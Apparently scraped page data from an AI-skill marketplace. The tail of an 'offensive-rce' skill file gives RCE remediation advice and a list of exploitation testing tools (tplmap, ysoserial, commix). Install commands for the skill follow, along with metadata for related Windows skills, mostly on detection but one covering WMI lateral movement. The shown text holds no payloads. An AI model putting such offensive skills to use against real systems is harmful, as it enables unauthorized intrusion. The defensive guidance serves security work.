low-privilege authentication\n- **Low**: RCE requiring admin access or highly specific conditions\n\n## Remediation Recommendations\n\nAvoid inserting user input into code that gets evaluated. Also treat user uploaded files as untrusted, and avoid including file based on user input.\n\n### Defensive Checklist\n\n- **Eliminate Dangerous Functions**: Remove `eval`, `exec`, `Function`, `subprocess.shell=True`, `Runtime.exec()` where possible\n- **Parameterized Execution**: Use parameterized\u002Farray-based process execution (`shell=False`); escape+allowlist arguments\n- **Template Engine Hardening**: Disable dangerous functions\u002Ftags; enable sandbox mode; don't accept user templates\n- **Strict Upload Validation**:\n  - Enforce content-type AND extension checks\n  - Verify via magic bytes (file signature)\n  - Re-encode\u002Fprocess files (strip metadata with exiftool -all=)\n  - Store uploads outside web root\n- **Sandbox File Processing**:\n  - Process uploads in isolated containers\u002FVMs\n  - Use seccomp, AppArmor, SELinux restrictions\n  - Run as non-root with minimal permissions\n  - No network access during processing\n  - Delay publish until validation completes\n- **Safe Deserialization**:\n  - Prefer JSON\u002FXML with strict schemas\n  - Sign and verify serialized data\n  - Avoid `pickle`, `marshal`, native object graphs\n  - Use allowlists for permitted classes\n- **Dependency Management**:\n  - Keep libraries updated (ImageMagick, ExifTool, FFmpeg, Log4j, etc.)\n  - Pin versions and audit dependencies\n  - Subscribe to security advisories\n  - Use tools: `npm audit`, `pip-audit`, `OWASP Dependency-Check`\n- **Network Segmentation**:\n  - Implement egress filtering to prevent OAST callbacks\n  - Restrict outbound connections from app servers\n  - Monitor DNS queries for suspicious patterns\n- **WAF\u002FRASP**:\n  - Deploy Web Application Firewall with RCE signatures\n  - Consider Runtime Application Self-Protection (RASP)\n  - Log and alert on suspicious payloads\n- **Log4Shell Specific**:\n  - Update to Log4j 2.17.1+\n  - Set `log4j2.formatMsgNoLookups=true`\n  - Remove JndiLookup class from classpath\n  - Monitor for obfuscated JNDI patterns\n\n### Testing Tools\n\n- **SSTI**: `tplmap`, `SSTImap`\n- **Deserialization**: `ysoserial`, `ysoserial.net`, `marshalsec`\n- **Command Injection**: Burp Intruder, `commix`\n- **General**: Burp ActiveScan, `nuclei` templates, `jaeles` signatures\n- **OAST**: Burp Collaborator, Interactsh, canarytokens.org\n",{"name":5,"domain":22,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-rce","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-rce",{"tool":42,"command":43},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-rce",{"tool":45,"command":46},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-rce","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-rce\u002FSKILL.md",true,[50],{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"index.json","REFERENCE","参考文档",494,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-rce\u002Findex.json",[57,67,92,115,137,159],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":61,"licenseFileUrl":62,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":66},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":24},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[74,75,76,77,78,79,80,22,81,82,83,84,85,86,87,88,89,90,91],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":24},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[99,77,100,74,101,102,103,104,105,22,106,107,108,109,110,111,112,113,91,114],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":24},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[122,123,124,125,126,127,128,129,130,131,111,91,132,133,104,134,103,22,135,136],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":24},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[144,145,146,75,22,147,90,148,149,150,79,91,151,152,153,154,155,156,157,158],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":24},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[166,144,167,75,168,169,80,91,151,170,171,172,104,79,22,147,173,90,174,149],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]